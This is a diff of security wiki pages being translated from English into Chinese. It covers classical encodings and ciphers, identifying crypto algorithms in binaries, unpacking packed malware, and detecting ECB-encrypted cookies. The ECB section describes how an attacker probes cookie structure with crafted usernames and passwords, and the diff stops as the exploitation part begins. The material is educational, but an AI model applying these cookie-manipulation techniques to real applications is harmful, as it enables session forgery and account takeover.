`g2AextRZpBKRBzQ9` - **Base64** \[_A-Za-z0-9+/=_] - - `aG9sYWNhcmFjb2xh` +- `aG9sYWNhcmFjb2xh` - **Base67** \[_A-Za-z0-9-_.!\~\_] - - `NI9JKX0cSUdqhr!p` +- `NI9JKX0cSUdqhr!p` - **Base85 (Ascii85)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `BQ%]q@psCd@rH0l` +- `BQ%]q@psCd@rH0l` - **Base85 (Adobe)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `<~BQ%]q@psCd@rH0l~>` +- `<~BQ%]q@psCd@rH0l~>` - **Base85 (IPv6 or RFC1924)** \[_0-9A-Za-z!#$%&()\*+-;<=>?@^_\`{|}\~\_] - - `Xm4y`V\_|Y(V{dF>\` +- `Xm4y`V\_|Y(V{dF>\` - **Base85 (xbtoa)** \[_!"#$%&'()\*+,-./0-9:;<=>?@A-Z\[\\]^\_\`a-u_] - - `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` +- `xbtoa Begin\nBQ%]q@psCd@rH0l\nxbtoa End N 12 c E 1a S 4e6 R 6991d` - **Base85 (XML)** \[\_0-9A-Za-y!#$()\*+,-./:;=?@^\`{|}\~z\_\_] - - `Xm4y|V{~Y+V}dF?` +- `Xm4y|V{~Y+V}dF?` - **Base91** \[_A-Za-z0-9!#$%&()\*+,./:;<=>?@\[]^\_\`{|}\~"_] - - `frDg[*jNN!7&BQM` +- `frDg[*jNN!7&BQM` - **Base100** \[] - - `👟👦👣👘👚👘👩👘👚👦👣👘` +- `👟👦👣👘👚👘👩👘👚👦👣👘` - **Base122** \[] - - `4F ˂r0Xmvc` +- `4F ˂r0Xmvc` - **ATOM-128** \[_/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC_] - - `MIc3KiXa+Ihz+lrXMIc3KbCC` +- `MIc3KiXa+Ihz+lrXMIc3KbCC` - **HAZZ15** \[_HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5_] - - `DmPsv8J7qrlKEoY7` +- `DmPsv8J7qrlKEoY7` - **MEGAN35** \[_3G-Ub=c-pW-Z/12+406-9Vaq-zA-F5_] - - `kLD8iwKsigSalLJ5` +- `kLD8iwKsigSalLJ5` - **ZONG22** \[_ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2_] - - `ayRiIo1gpO+uUc7g` +- `ayRiIo1gpO+uUc7g` - **ESAB46** \[] - - `3sHcL2NR8WrT7mhR` +- `3sHcL2NR8WrT7mhR` - **MEGAN45** \[] - - `kLD8igSXm2KZlwrX` +- `kLD8igSXm2KZlwrX` - **TIGO3FX** \[] - - `7AP9mIzdmltYmIP9mWXX` +- `7AP9mIzdmltYmIP9mWXX` - **TRIPO5** \[] - - `UE9vSbnBW6psVzxB` +- `UE9vSbnBW6psVzxB` - **FERON74** \[] - - `PbGkNudxCzaKBm0x` +- `PbGkNudxCzaKBm0x` - **GILA7** \[] - - `D+nkv8C1qIKMErY1` +- `D+nkv8C1qIKMErY1` - **Citrix CTX1** \[] - - `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` +- `MNGIKCAHMOGLKPAKMMGJKNAINPHKLOBLNNHILCBHNOHLLPBK` -[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) +[http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html](http://k4.cba.pl/dw/crypo/tools/eng_atom128c.html) - 404 死链接: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) ### HackerizeXS \[_╫Λ↻├☰┏_] - ``` ╫☐↑Λ↻Λ┏Λ↻☐↑Λ ``` +- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 死链接: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) -- [http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - 404 Dead: [https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html](https://web.archive.org/web/20190228181208/http://k4.cba.pl/dw/crypo/tools/eng_hackerize.html) - -### Morse - +### 摩尔斯 ``` .... --- .-.. -.-. .- .-. .- -.-. --- .-.. .- ``` - -- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 Dead: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) +- [http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html](http://k4.cba.pl/dw/crypo/tools/eng_morse-encode.html) - 404 死链接: [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) ### UUencoder - ``` begin 644 webutils_pl M2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%( @@ -142,129 +137,107 @@ F3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$%(3TQ!2$],04A/3$$` ` end ``` - - [http://www.webutils.pl/index.php?idx=uu](http://www.webutils.pl/index.php?idx=uu) ### XXEncoder - ``` begin 644 webutils_pl hG2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236Hol-G2xAEIVDH236 5Hol-G2xAEE++ end ``` - - [www.webutils.pl/index.php?idx=xx](https://github.com/carlospolop/hacktricks/tree/bf578e4c5a955b4f6cdbe67eb4a543e16a3f848d/crypto/www.webutils.pl/index.php?idx=xx) ### YEncoder - ``` =ybegin line=128 size=28 name=webutils_pl ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` - - [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) ### BinHex - ``` (This file must be converted with BinHex 4.0) :#hGPBR9dD@acAh"X!$mr2cmr2cmr!!!!!!!8!!!!!-ka5%p-38K26%&)6da"5%p -38K26%'d9J!!: ``` - - [http://www.webutils.pl/index.php?idx=binhex](http://www.webutils.pl/index.php?idx=binhex) ### ASCII85 - ``` <~85DoF85DoF85DoF85DoF85DoF85DoF~> ``` - - [http://www.webutils.pl/index.php?idx=ascii85](http://www.webutils.pl/index.php?idx=ascii85) -### Dvorak keyboard - +### Dvorak 键盘 ``` drnajapajrna ``` - - [https://www.geocachingtoolbox.com/index.php?lang=en\&page=dvorakKeyboard](https://www.geocachingtoolbox.com/index.php?lang=en&page=dvorakKeyboard) ### A1Z26 -Letters to their numerical value - +字母对应其数字值 ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` +### 仿射密码编码 -### Affine Cipher Encode - -Letter to num `(ax+b)%26` (_a_ and _b_ are the keys and _x_ is the letter) and the result back to letter - +字母到数字 `(ax+b)%26` (_a_ 和 _b_ 是密钥,_x_ 是字母) 并将结果转换回字母 ``` krodfdudfrod ``` +### SMS 代码 -### SMS Code +**Multitap** [通过重复的数字](https://www.dcode.fr/word-letter-change) 替换一个字母,这些数字由手机 [键盘](https://www.dcode.fr/phone-keypad-cipher) 上对应的键码定义(此模式在编写 SMS 时使用)。\ +例如:2=A, 22=B, 222=C, 3=D...\ +你可以通过看到\*\* 多个数字重复\*\* 来识别这个代码。 -**Multitap** [replaces a letter](https://www.dcode.fr/word-letter-change) by repeated digits defined by the corresponding key code on a mobile [phone keypad](https://www.dcode.fr/phone-keypad-cipher) (This mode is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +你可以在这里解码这个代码: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### 培根代码 +用 4 个 A 或 B(或 1 和 0)替代每个字母 ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - -### Runes +### 符文 ![](../images/runes.jpg) -## Compression +## 压缩 -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** 和 **Raw Inflate**(你可以在 Cyberchef 中找到这两者)可以在没有头部的情况下压缩和解压数据。 -## Easy Crypto +## 简易加密 -### XOR - Autosolver +### XOR - 自动解密器 - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) ### Bifid -A keywork is needed - +需要一个关键字 ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +需要一个关键词 ``` wodsyoidrods ``` - - [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) - [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) - [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## 强加密 ### Fernet -2 base64 strings (token and key) - +2 个 base64 字符串(令牌和密钥) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -272,27 +245,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - - [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### Samir 秘密共享 +一个秘密被分成 X 部分,要恢复它需要 Y 部分 (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### OpenSSL 暴力破解 - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) -## Tools +## 工具 - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) diff --git a/src/crypto-and-stego/cryptographic-algorithms/README.md b/src/crypto-and-stego/cryptographic-algorithms/README.md index bcfcf1d0a..068f5f9bb 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/README.md +++ b/src/crypto-and-stego/cryptographic-algorithms/README.md @@ -1,184 +1,184 @@ -# Cryptographic/Compression Algorithms +# 加密/压缩算法 -## Cryptographic/Compression Algorithms +## 加密/压缩算法 {{#include ../../banners/hacktricks-training.md}} -## Identifying Algorithms +## 识别算法 -If you ends in a code **using shift rights and lefts, xors and several arithmetic operations** it's highly possible that it's the implementation of a **cryptographic algorithm**. Here it's going to be showed some ways to **identify the algorithm that it's used without needing to reverse each step**. +如果你在代码中**使用了右移和左移、异或以及多个算术操作**,那么它很可能是**加密算法**的实现。这里将展示一些**识别所使用算法的方法,而无需逐步反向工程**。 -### API functions +### API 函数 **CryptDeriveKey** -If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +如果使用了此函数,可以通过检查第二个参数的值来找到**使用的算法**: ![](<../../images/image (156).png>) -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +在这里查看可能的算法及其分配值的表格:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) **RtlCompressBuffer/RtlDecompressBuffer** -Compresses and decompresses a given buffer of data. +压缩和解压缩给定的数据缓冲区。 **CryptAcquireContext** -From [the docs](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): The **CryptAcquireContext** function is used to acquire a handle to a particular key container within a particular cryptographic service provider (CSP). **This returned handle is used in calls to CryptoAPI** functions that use the selected CSP. +来自[文档](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta):**CryptAcquireContext**函数用于获取特定加密服务提供程序(CSP)内特定密钥容器的句柄。**此返回的句柄用于调用使用所选CSP的CryptoAPI**函数。 **CryptCreateHash** -Initiates the hashing of a stream of data. If this function is used, you can find which **algorithm is being used** checking the value of the second parameter: +初始化数据流的哈希。如果使用了此函数,可以通过检查第二个参数的值来找到**使用的算法**: ![](<../../images/image (549).png>) \ -Check here the table of possible algorithms and their assigned values: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) +在这里查看可能的算法及其分配值的表格:[https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id) -### Code constants +### 代码常量 -Sometimes it's really easy to identify an algorithm thanks to the fact that it needs to use a special and unique value. +有时,由于需要使用特殊且唯一的值,识别算法非常简单。 ![](<../../images/image (833).png>) -If you search for the first constant in Google this is what you get: +如果你在谷歌中搜索第一个常量,这就是你得到的结果: ![](<../../images/image (529).png>) -Therefore, you can assume that the decompiled function is a **sha256 calculator.**\ -You can search any of the other constants and you will obtain (probably) the same result. +因此,你可以假设反编译的函数是**sha256计算器**。\ +你可以搜索其他常量,可能会得到相同的结果。 -### data info +### 数据信息 -If the code doesn't have any significant constant it may be **loading information from the .data section**.\ -You can access that data, **group the first dword** and search for it in google as we have done in the section before: +如果代码没有任何显著的常量,它可能在**加载来自.data部分的信息**。\ +你可以访问该数据,**将第一个dword分组**并在谷歌中搜索,就像我们在前面的部分所做的那样: ![](<../../images/image (531).png>) -In this case, if you look for **0xA56363C6** you can find that it's related to the **tables of the AES algorithm**. +在这种情况下,如果你搜索**0xA56363C6**,你会发现它与**AES算法的表**相关。 -## RC4 **(Symmetric Crypt)** +## RC4 **(对称加密)** -### Characteristics +### 特征 -It's composed of 3 main parts: +它由三个主要部分组成: -- **Initialization stage/**: Creates a **table of values from 0x00 to 0xFF** (256bytes in total, 0x100). This table is commonly call **Substitution Box** (or SBox). -- **Scrambling stage**: Will **loop through the table** crated before (loop of 0x100 iterations, again) creating modifying each value with **semi-random** bytes. In order to create this semi-random bytes, the RC4 **key is used**. RC4 **keys** can be **between 1 and 256 bytes in length**, however it is usually recommended that it is above 5 bytes. Commonly, RC4 keys are 16 bytes in length. -- **XOR stage**: Finally, the plain-text or cyphertext is **XORed with the values created before**. The function to encrypt and decrypt is the same. For this, a **loop through the created 256 bytes** will be performed as many times as necessary. This is usually recognized in a decompiled code with a **%256 (mod 256)**. +- **初始化阶段/**:创建一个**从0x00到0xFF的值表**(总共256字节,0x100)。这个表通常称为**替代盒**(或SBox)。 +- **打乱阶段**:将**循环遍历之前创建的表**(0x100次迭代的循环),用**半随机**字节修改每个值。为了创建这些半随机字节,使用RC4**密钥**。RC4**密钥**的长度可以**在1到256字节之间**,但通常建议长度超过5字节。通常,RC4密钥为16字节。 +- **异或阶段**:最后,明文或密文与**之前创建的值进行异或**。加密和解密的函数是相同的。为此,将对创建的256字节进行循环,循环次数根据需要而定。这通常在反编译的代码中通过**%256(模256)**来识别。 > [!NOTE] -> **In order to identify a RC4 in a disassembly/decompiled code you can check for 2 loops of size 0x100 (with the use of a key) and then a XOR of the input data with the 256 values created before in the 2 loops probably using a %256 (mod 256)** +> **为了在反汇编/反编译代码中识别RC4,你可以检查两个大小为0x100的循环(使用密钥),然后将输入数据与之前在两个循环中创建的256个值进行异或,可能使用%256(模256)** -### **Initialization stage/Substitution Box:** (Note the number 256 used as counter and how a 0 is written in each place of the 256 chars) +### **初始化阶段/替代盒:**(注意用作计数器的数字256,以及在256个字符的每个位置写入0的方式) ![](<../../images/image (584).png>) -### **Scrambling Stage:** +### **打乱阶段:** ![](<../../images/image (835).png>) -### **XOR Stage:** +### **异或阶段:** ![](<../../images/image (904).png>) -## **AES (Symmetric Crypt)** +## **AES (对称加密)** -### **Characteristics** +### **特征** -- Use of **substitution boxes and lookup tables** - - It's possible to **distinguish AES thanks to the use of specific lookup table values** (constants). _Note that the **constant** can be **stored** in the binary **or created**_ _**dynamically**._ -- The **encryption key** must be **divisible** by **16** (usually 32B) and usually an **IV** of 16B is used. +- 使用**替代盒和查找表** +- 由于使用特定查找表值(常量),可以**区分AES**。_注意**常量**可以**存储**在二进制中**或动态**_**创建**。_ +- **加密密钥**必须是**16的倍数**(通常为32B),并且通常使用16B的**IV**。 -### SBox constants +### SBox 常量 ![](<../../images/image (208).png>) -## Serpent **(Symmetric Crypt)** +## Serpent **(对称加密)** -### Characteristics +### 特征 -- It's rare to find some malware using it but there are examples (Ursnif) -- Simple to determine if an algorithm is Serpent or not based on it's length (extremely long function) +- 很少发现某些恶意软件使用它,但有例子(Ursnif) +- 根据其长度(极长的函数)简单判断算法是否为Serpent -### Identifying +### 识别 -In the following image notice how the constant **0x9E3779B9** is used (note that this constant is also used by other crypto algorithms like **TEA** -Tiny Encryption Algorithm).\ -Also note the **size of the loop** (**132**) and the **number of XOR operations** in the **disassembly** instructions and in the **code** example: +在下图中注意常量**0x9E3779B9**的使用(注意该常量也被其他加密算法如**TEA** - Tiny Encryption Algorithm使用)。\ +还要注意**循环的大小**(**132**)和**反汇编**指令中的**异或操作**数量以及**代码**示例: ![](<../../images/image (547).png>) -As it was mentioned before, this code can be visualized inside any decompiler as a **very long function** as there **aren't jumps** inside of it. The decompiled code can look like the following: +如前所述,这段代码可以在任何反编译器中可视化为**非常长的函数**,因为其中**没有跳转**。反编译的代码可能看起来如下: ![](<../../images/image (513).png>) -Therefore, it's possible to identify this algorithm checking the **magic number** and the **initial XORs**, seeing a **very long function** and **comparing** some **instructions** of the long function **with an implementation** (like the shift left by 7 and the rotate left by 22). +因此,可以通过检查**魔法数字**和**初始异或**来识别此算法,看到**非常长的函数**并**比较**一些**指令**与长函数的**实现**(如左移7和左旋转22)。 -## RSA **(Asymmetric Crypt)** +## RSA **(非对称加密)** -### Characteristics +### 特征 -- More complex than symmetric algorithms -- There are no constants! (custom implementation are difficult to determine) -- KANAL (a crypto analyzer) fails to show hints on RSA ad it relies on constants. +- 比对称算法更复杂 +- 没有常量!(自定义实现难以确定) +- KANAL(加密分析器)未能显示RSA的提示,因为它依赖于常量。 -### Identifying by comparisons +### 通过比较识别 ![](<../../images/image (1113).png>) -- In line 11 (left) there is a `+7) >> 3` which is the same as in line 35 (right): `+7) / 8` -- Line 12 (left) is checking if `modulus_len < 0x040` and in line 36 (right) it's checking if `inputLen+11 > modulusLen` +- 在第11行(左)有一个`+7) >> 3`,与第35行(右)相同:`+7) / 8` +- 第12行(左)检查`modulus_len < 0x040`,而第36行(右)检查`inputLen+11 > modulusLen` -## MD5 & SHA (hash) +## MD5 & SHA(哈希) -### Characteristics +### 特征 -- 3 functions: Init, Update, Final -- Similar initialize functions +- 3个函数:Init、Update、Final +- 初始化函数相似 -### Identify +### 识别 **Init** -You can identify both of them checking the constants. Note that the sha_init has 1 constant that MD5 doesn't have: +你可以通过检查常量来识别它们。注意sha_init有一个MD5没有的常量: ![](<../../images/image (406).png>) **MD5 Transform** -Note the use of more constants +注意使用了更多常量 ![](<../../images/image (253) (1) (1).png>) -## CRC (hash) +## CRC(哈希) -- Smaller and more efficient as it's function is to find accidental changes in data -- Uses lookup tables (so you can identify constants) +- 更小且更高效,因为它的功能是查找数据中的意外更改 +- 使用查找表(因此你可以识别常量) -### Identify +### 识别 -Check **lookup table constants**: +检查**查找表常量**: ![](<../../images/image (508).png>) -A CRC hash algorithm looks like: +CRC哈希算法看起来像: ![](<../../images/image (391).png>) -## APLib (Compression) +## APLib(压缩) -### Characteristics +### 特征 -- Not recognizable constants -- You can try to write the algorithm in python and search for similar things online +- 没有可识别的常量 +- 你可以尝试用python编写算法并在线搜索类似的东西 -### Identify +### 识别 -The graph is quiet large: +图表相当大: ![](<../../images/image (207) (2) (1).png>) -Check **3 comparisons to recognise it**: +检查**3个比较以识别它**: ![](<../../images/image (430).png>) diff --git a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md index 6699ec26f..68921b223 100644 --- a/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md +++ b/src/crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md @@ -1,24 +1,24 @@ {{#include ../../banners/hacktricks-training.md}} -# Identifying packed binaries +# 识别打包的二进制文件 -- **lack of strings**: It's common to find that packed binaries doesn't have almost any string -- A lot of **unused strings**: Also, when a malware is using some kind of commercial packer it's common to find a lot of strings without cross-references. Even if these strings exist that doesn't mean that the binary isn't packed. -- You can also use some tools to try to find which packer was used to pack a binary: - - [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) - - [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) - - [Language 2000](http://farrokhi.net/language/) +- **缺乏字符串**:常见的情况是打包的二进制文件几乎没有任何字符串 +- 很多 **未使用的字符串**:此外,当恶意软件使用某种商业打包工具时,常常会发现很多没有交叉引用的字符串。即使这些字符串存在,也并不意味着二进制文件没有被打包。 +- 你还可以使用一些工具来尝试找出用于打包二进制文件的打包工具: +- [PEiD](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/PEiD-updated.shtml) +- [Exeinfo PE](http://www.softpedia.com/get/Programming/Packers-Crypters-Protectors/ExEinfo-PE.shtml) +- [Language 2000](http://farrokhi.net/language/) -# Basic Recommendations +# 基本建议 -- **Start** analysing the packed binary **from the bottom in IDA and move up**. Unpackers exit once the unpacked code exit so it's unlikely that the unpacker passes execution to the unpacked code at the start. -- Search for **JMP's** or **CALLs** to **registers** or **regions** of **memory**. Also search for **functions pushing arguments and an address direction and then calling `retn`**, because the return of the function in that case may call the address just pushed to the stack before calling it. -- Put a **breakpoint** on `VirtualAlloc` as this allocates space in memory where the program can write unpacked code. The "run to user code" or use F8 to **get to value inside EAX** after executing the function and "**follow that address in dump**". You never know if that is the region where the unpacked code is going to be saved. - - **`VirtualAlloc`** with the value "**40**" as an argument means Read+Write+Execute (some code that needs execution is going to be copied here). -- **While unpacking** code it's normal to find **several calls** to **arithmetic operations** and functions like **`memcopy`** or **`Virtual`**`Alloc`. If you find yourself in a function that apparently only perform arithmetic operations and maybe some `memcopy` , the recommendation is to try to **find the end of the function** (maybe a JMP or call to some register) **or** at least the **call to the last function** and run to then as the code isn't interesting. -- While unpacking code **note** whenever you **change memory region** as a memory region change may indicate the **starting of the unpacking code**. You can easily dump a memory region using Process Hacker (process --> properties --> memory). -- While trying to unpack code a good way to **know if you are already working with the unpacked code** (so you can just dump it) is to **check the strings of the binary**. If at some point you perform a jump (maybe changing the memory region) and you notice that **a lot more strings where added**, then you can know **you are working with the unpacked code**.\ - However, if the packer already contains a lot of strings you can see how many strings contains the word "http" and see if this number increases. -- When you dump an executable from a region of memory you can fix some headers using [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases). +- **从底部开始**分析打包的二进制文件**在 IDA 中向上移动**。解包器在解包代码退出时退出,因此解包器不太可能在开始时将执行传递给解包的代码。 +- 搜索 **JMP** 或 **CALL** 到 **寄存器** 或 **内存区域**。还要搜索 **推送参数和地址方向的函数,然后调用 `retn`**,因为在这种情况下,函数的返回可能会调用在调用之前刚推送到堆栈的地址。 +- 在 `VirtualAlloc` 上设置 **断点**,因为这会在内存中分配程序可以写入解包代码的空间。使用“运行到用户代码”或使用 F8 **获取执行函数后 EAX 中的值**,然后“**跟踪转储中的地址**”。你永远不知道这是否是解包代码将要保存的区域。 +- **`VirtualAlloc`** 的值 "**40**" 作为参数意味着可读+可写+可执行(一些需要执行的代码将被复制到这里)。 +- **在解包**代码时,通常会发现 **多个调用** 到 **算术操作** 和像 **`memcopy`** 或 **`Virtual`**`Alloc` 这样的函数。如果你发现自己在一个显然只执行算术操作的函数中,可能还有一些 `memcopy`,建议尝试 **找到函数的结束**(可能是 JMP 或调用某个寄存器)**或**至少找到 **最后一个函数的调用**,然后运行到那里,因为代码并不有趣。 +- 在解包代码时 **注意** 每当你 **更改内存区域**,因为内存区域的变化可能表示 **解包代码的开始**。你可以使用 Process Hacker 轻松转储内存区域(进程 --> 属性 --> 内存)。 +- 在尝试解包代码时,知道你是否已经在处理解包代码的好方法(这样你可以直接转储它)是 **检查二进制文件的字符串**。如果在某个时刻你执行了跳转(可能更改了内存区域),并且你注意到 **添加了更多字符串**,那么你可以知道 **你正在处理解包的代码**。\ +然而,如果打包工具已经包含了很多字符串,你可以查看包含“http”这个词的字符串数量,看看这个数字是否增加。 +- 当你从内存区域转储可执行文件时,可以使用 [PE-bear](https://github.com/hasherezade/pe-bear-releases/releases) 修复一些头部。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/crypto-and-stego/electronic-code-book-ecb.md b/src/crypto-and-stego/electronic-code-book-ecb.md index a09798b1e..482e087f6 100644 --- a/src/crypto-and-stego/electronic-code-book-ecb.md +++ b/src/crypto-and-stego/electronic-code-book-ecb.md @@ -2,72 +2,66 @@ # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) 电子密码本 - 对称加密方案,**将明文的每个块**替换为**密文的块**。这是**最简单**的加密方案。其主要思想是将明文**分割**为**N位的块**(取决于输入数据块的大小和加密算法),然后使用唯一的密钥对每个明文块进行加密(解密)。 ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +使用ECB有多种安全隐患: -- **Blocks from encrypted message can be removed** -- **Blocks from encrypted message can be moved around** +- **可以删除加密消息中的块** +- **可以移动加密消息中的块** -# Detection of the vulnerability +# 漏洞检测 -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +想象一下,你多次登录一个应用程序,并且**总是获得相同的cookie**。这是因为该应用程序的cookie是**`|`**。\ +然后,你生成两个新用户,他们都有**相同的长密码**和**几乎相同的** **用户名**。\ +你发现**8B的块**中**两个用户的信息**是**相等**的。然后,你想象这可能是因为**正在使用ECB**。 +如以下示例所示。观察这**两个解码的cookie**中有几次块**`\x23U\xE45K\xCB\x21\xC8`**。 ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +这是因为这些 cookie 的 **用户名和密码包含了多次字母 "a"**(例如)。**不同的** **块** 是包含 **至少 1 个不同字符** 的块(可能是分隔符 "|" 或用户名中的某些必要差异)。 -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +现在,攻击者只需发现格式是 `` 还是 ``。为此,他可以 **生成多个相似且较长的用户名和密码,直到找到格式和分隔符的长度:** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| 用户名长度: | 密码长度: | 用户名+密码长度: | Cookie 长度(解码后): | +| ------------ | ---------- | ----------------- | ----------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# 漏洞利用 -# Exploitation of the vulnerability - -## Removing entire blocks 